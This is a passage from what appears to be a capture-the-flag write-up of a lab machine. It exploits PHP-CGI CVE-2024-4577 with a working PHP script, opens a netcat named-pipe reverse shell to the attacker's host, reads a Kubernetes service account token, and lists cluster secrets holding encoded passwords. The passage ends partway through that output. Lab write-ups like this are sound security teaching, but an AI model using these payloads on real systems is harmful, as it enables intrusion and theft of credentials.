&lt;tr&gt;&lt;td class="e"&gt;Pspell &lt;/td&gt;&lt;td class="v"&gt;Vlad Krupin &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;random &lt;/td&gt;&lt;td class="v"&gt;Go Kudo, Tim Düsterhus, Guilliam Xavier, Christoph M. Becker, Jakub Zelenka, Bob Weinand, Máté Kocsis, and Original RNG implementators &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Readline &lt;/td&gt;&lt;td class="v"&gt;Thies C. Arntzen &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Reflection &lt;/td&gt;&lt;td class="v"&gt;Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Sessions &lt;/td&gt;&lt;td class="v"&gt;Sascha Schumann, Andrei Zmievski &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Shared Memory Operations &lt;/td&gt;&lt;td class="v"&gt;Slava Poliakov, Ilia Alshanetsky &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SimpleXML &lt;/td&gt;&lt;td class="v"&gt;Sterling Hughes, Marcus Boerger, Rob Richards &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SNMP &lt;/td&gt;&lt;td class="v"&gt;Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SOAP &lt;/td&gt;&lt;td class="v"&gt;Brad Lafountain, Shane Caraveo, Dmitry Stogov &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Sockets &lt;/td&gt;&lt;td class="v"&gt;Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Sodium &lt;/td&gt;&lt;td class="v"&gt;Frank Denis &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SPL &lt;/td&gt;&lt;td class="v"&gt;Marcus Boerger, Etienne Kneuss &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SQLite 3.x driver for PDO &lt;/td&gt;&lt;td class="v"&gt;Wez Furlong &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;SQLite3 &lt;/td&gt;&lt;td class="v"&gt;Scott MacVicar, Ilia Alshanetsky, Brad Dewar &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;System V Message based IPC &lt;/td&gt;&lt;td class="v"&gt;Wez Furlong &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;System V Semaphores &lt;/td&gt;&lt;td class="v"&gt;Tom May &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;System V Shared Memory &lt;/td&gt;&lt;td class="v"&gt;Christian Cartus &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;tidy &lt;/td&gt;&lt;td class="v"&gt;John Coggeshall, Ilia Alshanetsky &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;tokenizer &lt;/td&gt;&lt;td class="v"&gt;Andrei Zmievski, Johannes Schlueter &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;XML &lt;/td&gt;&lt;td class="v"&gt;Stig Bakken, Thies C. Arntzen, Sterling Hughes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;XMLReader &lt;/td&gt;&lt;td class="v"&gt;Rob Richards &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;XMLWriter &lt;/td&gt;&lt;td class="v"&gt;Rob Richards, Pierre-Alain Joye &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;XSL &lt;/td&gt;&lt;td class="v"&gt;Christian Stocker, Rob Richards &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Zip &lt;/td&gt;&lt;td class="v"&gt;Pierre-Alain Joye, Remi Collet &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Zlib &lt;/td&gt;&lt;td class="v"&gt;Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th colspan="2"&gt;PHP Documentation&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Authors &lt;/td&gt;&lt;td class="v"&gt;Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Editor &lt;/td&gt;&lt;td class="v"&gt;Peter Cowburn &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;User Note Maintainers &lt;/td&gt;&lt;td class="v"&gt;Daniel P. Brown, Thiago Henrique Pojda &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Other Contributors &lt;/td&gt;&lt;td class="v"&gt;Previously active authors, editors and other contributors are listed in the manual. &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;PHP Quality Assurance Team&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th colspan="2"&gt;Websites and Infrastructure team&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP Websites Team &lt;/td&gt;&lt;td class="v"&gt;Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Event Maintainers &lt;/td&gt;&lt;td class="v"&gt;Damien Seguy, Daniel P. Brown &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Network Infrastructure &lt;/td&gt;&lt;td class="v"&gt;Daniel P. Brown &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Windows Infrastructure &lt;/td&gt;&lt;td class="v"&gt;Alex Schoenmaker &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;h2&gt;PHP License&lt;/h2&gt;
&lt;table&gt;
&lt;tr class="v"&gt;&lt;td&gt;
&lt;p&gt;
This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file:  LICENSE
&lt;/p&gt;
&lt;p&gt;This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
&lt;/p&gt;
&lt;p&gt;If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.
&lt;/p&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;&lt;/body&gt;&lt;/html&gt;
</span></code></pre></div></div>

<p>I can save that HTML and open it in FireFox:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260217214654203.webp" />
    <img loading="lazy" src="/img/image-20260217214654203.png" alt="image-20260217214654203" class="include_image " />
</picture>

<p>I already know that this box is running CGI. This page shows the PHP CGI version of 8.3.3:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260216171323136.webp" />
    <img loading="lazy" src="/img/image-20260216171323136.png" alt="image-20260216171323136" class="include_image " />
</picture>

<h3 id="cve-2024-4577">CVE-2024-4577</h3>

<h4 id="background">Background</h4>

<p><a href="https://nvd.nist.gov/vuln/detail/cve-2024-4577">NIST describes</a> CVE-2024-4577 as:</p>

<blockquote>
  <p>In PHP versions 8.1.* before 8.1.29, 8.2.* before 8.2.20, 8.3.* before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use “Best-Fit” behavior to replace characters in command line given to Win32 API functions. PHP CGI module may misinterpret those characters as PHP options, which may allow a malicious user to pass options to PHP binary being run, and thus reveal the source code of scripts, run arbitrary PHP code on the server, etc.</p>
</blockquote>

<p>This is a bit weird, as GiveBack is clearly not a Windows box. Still, there was a paragraph at the bottom of the page that says:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;p&gt;</span>This CMS was originally deployed on Windows IIS using <span class="nt">&lt;code&gt;</span>php-cgi.exe<span class="nt">&lt;/code&gt;</span>.
During migration to Linux, the Windows-style CGI handling was retained to ensure
legacy scripts continued to function without modification.<span class="nt">&lt;/p&gt;</span>
</code></pre></div></div>

<p>This text seems like a hint that this exploit should work here. The versions line up nicely as well, as 8.3.3 is before 8.3.8.</p>

<p><a href="https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv">This advisory</a> from famous researcher Orange Tsai goes into more detail. This CVE is a bypass of the fix for <a href="https://nvd.nist.gov/vuln/detail/cve-2012-1823">CVE-2012-1823</a>. Basically some Windows character sets allow PHP-CGI argument injection that was patched in the very old bug.</p>

<h4 id="poc-1">POC</h4>

<p>I am going to target <code class="language-plaintext highlighter-rouge">/cgi-bin/php-cgi</code>, as it seems like a clear CGI script. Run normally, it just prints OK:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>php <span class="nt">-r</span> <span class="s2">"echo file_get_contents('http://10.43.2.241:5000/cgi-bin/php-cgi');"</span>
<span class="go">OK
</span></code></pre></div></div>

<p>I need to make a request to this script and use the <code class="language-plaintext highlighter-rouge">%AD</code> command to allow for injecting PHP arguments. My exploit would be very simple in <code class="language-plaintext highlighter-rouge">curl</code> (and I could just tunnel here), but I’ll do it with PHP, writing the following script to <code class="language-plaintext highlighter-rouge">/tmp/rce.php</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span><span class="nb">echo </span>PD9waHAKJGNtZCA9ICRhcmd2WzFdID8/ICJpZCI7CiR1cmwgPSAiaHR0cDovLzEwLjQzLjIuMjQxOjUwMDAvY2dpLWJpbi9waHAtY2dpPyVBRGQrYXV0b19wcmVwZW5kX2ZpbGUlM0RwaHAlM0ElMkYlMkZpbnB1dCI7CiRjdHggPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoWyJodHRwIiA9PiBbCiAgICAibWV0aG9kIiA9PiAiUE9TVCIsCiAgICAiaGVhZGVyIiA9PiAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiLAogICAgImNvbnRlbnQiID0+ICRjbWQKXV0pOwokciA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsIGZhbHNlLCAkY3R4KTsKZWNobyAkcjsKPz4K | <span class="nb">base64</span> <span class="nt">-d</span> <span class="o">&gt;</span> /tmp/rce.php
</code></pre></div></div>

<p>That decodes to:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="nv">$cmd</span> <span class="o">=</span> <span class="nv">$argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">??</span> <span class="s2">"id"</span><span class="p">;</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="s2">"http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+auto_prepend_file%3Dphp%3A%2F%2Finput"</span><span class="p">;</span>
<span class="nv">$ctx</span> <span class="o">=</span> <span class="nb">stream_context_create</span><span class="p">([</span><span class="s2">"http"</span> <span class="o">=&gt;</span> <span class="p">[</span>
    <span class="s2">"method"</span> <span class="o">=&gt;</span> <span class="s2">"POST"</span><span class="p">,</span>
    <span class="s2">"header"</span> <span class="o">=&gt;</span> <span class="s2">"Content-Type: application/x-www-form-urlencoded"</span><span class="p">,</span>
    <span class="s2">"content"</span> <span class="o">=&gt;</span> <span class="nv">$cmd</span>
<span class="p">]]);</span>
<span class="nv">$r</span> <span class="o">=</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$url</span><span class="p">,</span> <span class="kc">false</span><span class="p">,</span> <span class="nv">$ctx</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$r</span><span class="p">;</span>
<span class="cp">?&gt;</span>
</code></pre></div></div>

<p>The exploit is in the URL. The <code class="language-plaintext highlighter-rouge">%AD</code> is a Windows “best-fit” character that maps to <code class="language-plaintext highlighter-rouge">-</code> (a dash), bypassing the CVE-2012-1823 fix that blocks literal <code class="language-plaintext highlighter-rouge">-</code> in query strings. This allows injecting the PHP-CGI argument <code class="language-plaintext highlighter-rouge">-d auto_prepend_file=php://input</code>, which tells PHP to execute the POST body as PHP code before the target script runs. The command is passed as an argument, or it runs <code class="language-plaintext highlighter-rouge">id</code> by default:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>php /tmp/rce.php 
<span class="go">[START]uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
[END]
</span></code></pre></div></div>

<p>The server must be adding <code class="language-plaintext highlighter-rouge">[START]</code> and <code class="language-plaintext highlighter-rouge">[END]</code> (I’m not sure why). Regardless, that’s RCE!</p>

<h4 id="shell">Shell</h4>

<p>A <a href="https://www.youtube.com/watch?v=OjkVep2EIlw">bash reverse shell</a> doesn’t work, and a bit of enumeration suggests that <code class="language-plaintext highlighter-rouge">bash</code> isn’t installed on the target legacy pod:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>php /tmp/rce.php <span class="s1">'which bash'</span>
<span class="go">[START][END]
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">nc</code> is installed, so I’ll use a <a href="https://www.youtube.com/watch?v=OjkVep2EIlw">pipe reverse shell</a>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>php /tmp/rce.php <span class="s1">'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.10.14.44 443 &gt;/tmp/f'</span> 
</code></pre></div></div>

<p>I get a shell as root:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.242.171 6080
/bin/sh: can't access tty; job control turned off
</span><span class="gp">/var/www/html/cgi-bin #</span><span class="w"> 
</span></code></pre></div></div>

<p>I’ll upgrade the shell using the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a> (but with <code class="language-plaintext highlighter-rouge">sh</code> rather than <code class="language-plaintext highlighter-rouge">bash</code> as it’s not installed):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/var/www/html/cgi-bin # </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">Script started, output log file is '/dev/null'.
sh: bash: not found
Script done.
</span><span class="gp">/var/www/html/cgi-bin # </span>script /dev/null <span class="nt">-c</span> sh
<span class="go">Script started, output log file is '/dev/null'.
</span><span class="gp">/var/www/html/cgi-bin # </span>^Z       
<span class="go">[1]+  Stopped                 nc -lnvp 443
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span> <span class="nb">fg</span>
<span class="go">nc -lnvp 443
</span><span class="gp">            ‍</span>reset
<span class="gp">/var/www/html/cgi-bin # </span><span class="w">
</span></code></pre></div></div>

<h2 id="shell-as-babywyrm">Shell as babywyrm</h2>

<h3 id="enumeration-1">Enumeration</h3>

<p>This pod has a different hostname which also follows the K8s pod format:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/var/www/html/cgi-bin # </span><span class="nb">hostname</span>
<span class="go">legacy-intranet-cms-6f7bf5db84-lfw7l
</span></code></pre></div></div>

<p>There’s a <code class="language-plaintext highlighter-rouge">start.sh</code> in the root:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/ # </span><span class="nb">ls</span>
<span class="go">bin       home      mnt       root      srv       tmp
dev       lib       opt       run       start.sh  usr
etc       media     proc      sbin      sys       var
</span><span class="gp">/ # </span><span class="nb">cat </span>start.sh 
<span class="go">#!/bin/sh
echo "🚀 Starting REAL php-cgi..."

mkdir -p /var/run
spawn-fcgi -s /var/run/php-cgi.socket -U nginx -G nginx \
          -- /usr/local/bin/php-cgi
chmod 666 /var/run/php-cgi.socket
echo "✅ php-cgi.socket ready"
ls -la /var/run/php-cgi.socket

echo "🌐 Starting nginx..."
nginx -g "daemon off;"
</span></code></pre></div></div>

<p>There’s no <code class="language-plaintext highlighter-rouge">/secrets</code>, but there is a <code class="language-plaintext highlighter-rouge">secrets</code> directory in <code class="language-plaintext highlighter-rouge">/var/run</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/var/run/secrets/kubernetes.io/serviceaccount # </span><span class="nb">ls</span>
<span class="go">ca.crt     namespace  token
</span><span class="gp">/ # </span><span class="nb">cat</span> /var/run/secrets/kubernetes.io/serviceaccount/token 
<span class="gp">eyJhbGciOiJSUzI1NiIsImtpZCI6Inp3THEyYUhkb19sV3VBcGFfdTBQa1c1S041TkNiRXpYRS11S0JqMlJYWjAifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODAyODY0NTEwLCJpYXQiOjE3NzEzMjg1MTAsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiOGZiOTM3YzctOWM2MS00MTVjLWExNWQtNDE4NmI1ZTdlZjJhIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiZ2l2ZWJhY2suaHRiIiwidWlkIjoiMTJhOGE5Y2YtYzM1Yi00MWYzLWIzNWEtNDJjMjYyZTQzMDQ2In0sInBvZCI6eyJuYW1lIjoibGVnYWN5LWludHJhbmV0LWNtcy02ZjdiZjVkYjg0LWxmdzdsIiwidWlkIjoiMzM3ODUxY2QtYTM2NS00NmU2LTk4MDAtZTJhYzdlMWUyZmIyIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJzZWNyZXQtcmVhZGVyLXNhIiwidWlkIjoiNzJjM2YwYTUtOWIwOC00MzhhLWEzMDctYjYwODc0NjM1YTlhIn0sIndhcm5hZnRlciI6MTc3MTMzMjExN30sIm5iZiI6MTc3MTMyODUxMCwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6c2VjcmV0LXJlYWRlci1zYSJ9.sJng3ABt8Cv-G4OxHNj56pPHtMDmDvjD5PTrNmLhYgIySy54yQXGfgo4EoZNIgi6IgyKBtDwwCUciGLxCPqj9k_YuGl9ZH1hF2S6lGQ4U22FtjaA3O3ne3fGzhl4maynR2Ika3nkSrWJA8MQtGaL0bZQnsYuG7TPzgmSapw3b_h490bm6iDjxZFkunGFhXWPScrbYTqVaSqCyjK4WUxOPaCu7JE73A9jyjxeGsZvjF2avWg4l3GkVCst3YMPEhKxeiv6Dncq191TIn6khmyLunaGVvoBu0d20tP0EWV95EGGwp3EYib60ZyoY-tChHQxUn6s1RsSSPG-JmJPCnRe/ # </span><span class="nb">cat</span> /var/run/secrets/kubernetes.io/serviceaccount/ca.crt 
<span class="go">-----BEGIN CERTIFICATE-----
MIIBdzCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE3MjY5Mjc3MjMwHhcNMjQwOTIxMTQwODQzWhcNMzQwOTE5MTQwODQz
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE3MjY5Mjc3MjMwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAATWYWOnIUmDn8DGHOdKLjrOZ36gSUMVrnqqf6YJsvpk
9QbgzGNFzYcwDZxmZtJayTbUrFFjgSydDNGuW/AkEnQ+o0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUtCpVDbK3XnBv3N3BKuXy
Yd0zeicwCgYIKoZIzj0EAwIDSAAwRQIgOsFo4UipeXPiEXvlGH06fja8k46ytB45
cd0d39uShuQCIQDMgaSW8nrpMfNExuGLMZhcsVrUr5XXN8F5b/zYi5snkQ==
-----END CERTIFICATE-----
</span><span class="gp">/ # </span><span class="nb">cat</span> /var/run/secrets/kubernetes.io/serviceaccount/namespace 
<span class="go">default
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/var/run/secrets/kubernetes.io/serviceaccount/</code> is the default K8s service account mount that gets automatically added to every pod (unless explicitly disabled with automountServiceAccountToken: false). The files are:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">token</code> - JWT for authenticating to the K8s API</li>
  <li><code class="language-plaintext highlighter-rouge">ca.crt</code> - cluster CA certificate</li>
  <li><code class="language-plaintext highlighter-rouge">namespace</code> - the pod’s namespace</li>
</ul>

<p>I can use these to interact with the K8s API. The rest of the filesystem is very empty.</p>

<h3 id="k8s-api">K8s API</h3>

<h4 id="authentication">Authentication</h4>

<p>HackTricks has <a href="https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/kubernetes-enumeration.html#using-curl">a page</a> that shows how to use these values with <code class="language-plaintext highlighter-rouge">curl</code> to access the API:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/ # </span><span class="nb">export </span><span class="nv">APISERVER</span><span class="o">=</span>10.43.0.1:443
<span class="gp">/ # </span><span class="nb">export </span><span class="nv">SERVICEACCOUNT</span><span class="o">=</span>/var/run/secrets/kubernetes.io/serviceaccount
<span class="gp">/ # </span><span class="nb">export </span><span class="nv">NAMESPACE</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> <span class="k">${</span><span class="nv">SERVICEACCOUNT</span><span class="k">}</span>/namespace<span class="si">)</span>
<span class="gp">/ # </span><span class="nb">export </span><span class="nv">TOKEN</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> <span class="k">${</span><span class="nv">SERVICEACCOUNT</span><span class="k">}</span>/token<span class="si">)</span>
<span class="gp">/ # </span><span class="nb">export </span><span class="nv">CACERT</span><span class="o">=</span><span class="k">${</span><span class="nv">SERVICEACCOUNT</span><span class="k">}</span>/ca.crt
<span class="gp">/ # </span><span class="nb">alias </span><span class="nv">kurl</span><span class="o">=</span><span class="s2">"curl --cacert </span><span class="k">${</span><span class="nv">CACERT</span><span class="k">}</span><span class="s2"> --header </span><span class="se">\"</span><span class="s2">Authorization: Bearer </span><span class="k">${</span><span class="nv">TOKEN</span><span class="k">}</span><span class="se">\"</span><span class="s2">"</span>
</code></pre></div></div>

<p>If I try to access the API without this configuration, it fails:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/ # </span>curl https://<span class="nv">$APISERVER</span>/api <span class="nt">-k</span>
<span class="go">{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "Unauthorized",
  "reason": "Unauthorized",
  "code": 401
}
</span></code></pre></div></div>

<p>But using <code class="language-plaintext highlighter-rouge">kurl</code> (which is configured to use the <code class="language-plaintext highlighter-rouge">token</code> and <code class="language-plaintext highlighter-rouge">ca-cert</code>):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/ # </span>kurl https://<span class="nv">$APISERVER</span>/api
<span class="go">{
  "kind": "APIVersions",
  "versions": [
    "v1"
  ],
  "serverAddressByClientCIDRs": [
    {
      "clientCIDR": "0.0.0.0/0",
      "serverAddress": "10.129.242.171:6443"
    }
  ]
}
</span></code></pre></div></div>

<h4 id="enumeration-2">Enumeration</h4>

<p>This token can’t list running pods:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">/ # </span>kurl https://<span class="nv">$APISERVER</span>/api/v1/namespaces/<span class="nv">$NS</span>/pods
<span class="go">{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "pods is forbidden: User \"system:serviceaccount:default:secret-reader-sa\" cannot list resource \"pods\" in API group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "kind": "pods"
  },
  "code": 403
}
</span></code></pre></div></div>

<p>It does show the account name, “secret-reader-sa”, which is a good hint for where to look next. I’ll check for secrets:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">/ # </span>kurl https://<span class="nv">$APISERVER</span>/api/v1/namespaces/default/secrets
<span class="go">{
  "kind": "SecretList",
  "apiVersion": "v1",
  "metadata": {
    "resourceVersion": "2858801"
  },
  "items": [
    {
      "metadata": {
        "name": "beta-vino-wp-mariadb",
        "namespace": "default",
        "uid": "3473d5ec-b774-40c9-a249-81d51426a45e",
        "resourceVersion": "2088227",
        "creationTimestamp": "2024-09-21T22:17:31Z",
        "labels": {
          "app.kubernetes.io/instance": "beta-vino-wp",
          "app.kubernetes.io/managed-by": "Helm",
          "app.kubernetes.io/name": "mariadb",
          "app.kubernetes.io/part-of": "mariadb",
          "app.kubernetes.io/version": "11.8.2",
          "helm.sh/chart": "mariadb-21.0.0"
        },
        "annotations": {
          "meta.helm.sh/release-name": "beta-vino-wp",
          "meta.helm.sh/release-namespace": "default"
        },
        "managedFields": [
          {
            "manager": "helm",
            "operation": "Update",
            "apiVersion": "v1",
            "time": "2025-08-29T03:29:54Z",
            "fieldsType": "FieldsV1",
            "fieldsV1": {
              "f:data": {
                ".": {},
                "f:mariadb-password": {},
                "f:mariadb-root-password": {}
              },
              "f:metadata": {
                "f:annotations": {
                  ".": {},
                  "f:meta.helm.sh/release-name": {},
                  "f:meta.helm.sh/release-namespace": {}
                },
                "f:labels": {
                  ".": {},
                  "f:app.kubernetes.io/instance": {},
                  "f:app.kubernetes.io/managed-by": {},
                  "f:app.kubernetes.io/name": {},
                  "f:app.kubernetes.io/part-of": {},
                  "f:app.kubernetes.io/version": {},
                  "f:helm.sh/chart": {}
                }
              },
              "f:type": {}
            }
          }
        ]
      },
      "data": {
        "mariadb-password": "c1c1c3A0c3BhM3U3Ukx5ZXRyZWtFNG9T",
        "mariadb-root-password": "c1c1c3A0c3lldHJlMzI4MjgzODNrRTRvUw=="
      },
      "type": "Opaque"
    },
    {
      "metadata": {
        "name": "beta-vino-wp-wordpress",
        "namespace": "default",
        "uid": "1cbbc5ac-1611-46af-8033-09e98dfc546b",
        "resourceVersion": "2088228",
        "creationTimestamp": "2024-09-21T22:17:31Z",
        "labels": {
          "app.kubernetes.io/instance": "beta-vino-wp",
          "app.kubernetes.io/managed-by": "Helm",
          "app.kubernetes.io/name": "wordpress",
          "app.kubernetes.io/version": "6.8.2",
          "helm.sh/chart": "wordpress-25.0.5"
        },
        "annotations": {
          "meta.helm.sh/release-name": "beta-vino-wp",
          "meta.helm.sh/release-namespace": "default"
        },
        "managedFields": [
          {
            "manager": "helm",
            "operation": "Update",
            "apiVersion": "v1",
            "time": "2025-08-29T03:29:54Z",
            "fieldsType": "FieldsV1",
            "fieldsV1": {
              "f:data": {
                ".": {},
                "f:wordpress-password": {}
              },
              "f:metadata": {
                "f:annotations": {
                  ".": {},
                  "f:meta.helm.sh/release-name": {},
                  "f:meta.helm.sh/release-namespace": {}
                },
                "f:labels": {
                  ".": {},
                  "f:app.kubernetes.io/instance": {},
                  "f:app.kubernetes.io/managed-by": {},
                  "f:app.kubernetes.io/name": {},
                  "f:app.kubernetes.io/version": {},
                  "f:helm.sh/chart": {}
                }
              },
              "f:type": {}
            }
          }
        ]
      },
      "data": {
        "wordpress-password": "TzhGN0tSNXpHaQ=="
      },
      "type": "Opaque"
    },
    {
      "metadata": {
        "name": "sh.helm.release.v1.beta-vino-wp.v58",
        "namespace": "default",
        "uid": "13034cd4-64e1-4e2e-9182-4ce0ffda27e8",
        "resourceVersion": "2123405",
        "creationTimestamp": "2025-08-30T05:17:49Z",
        "labels": {
          "modifiedAt": "1726957051",
          "name": "beta-vino-wp",
          "owner": "helm",
          "status": "superseded",
          "version": "58"
        },
        "managedFields": [
          {
            "manager": "Helm",
            "operation": "Update",
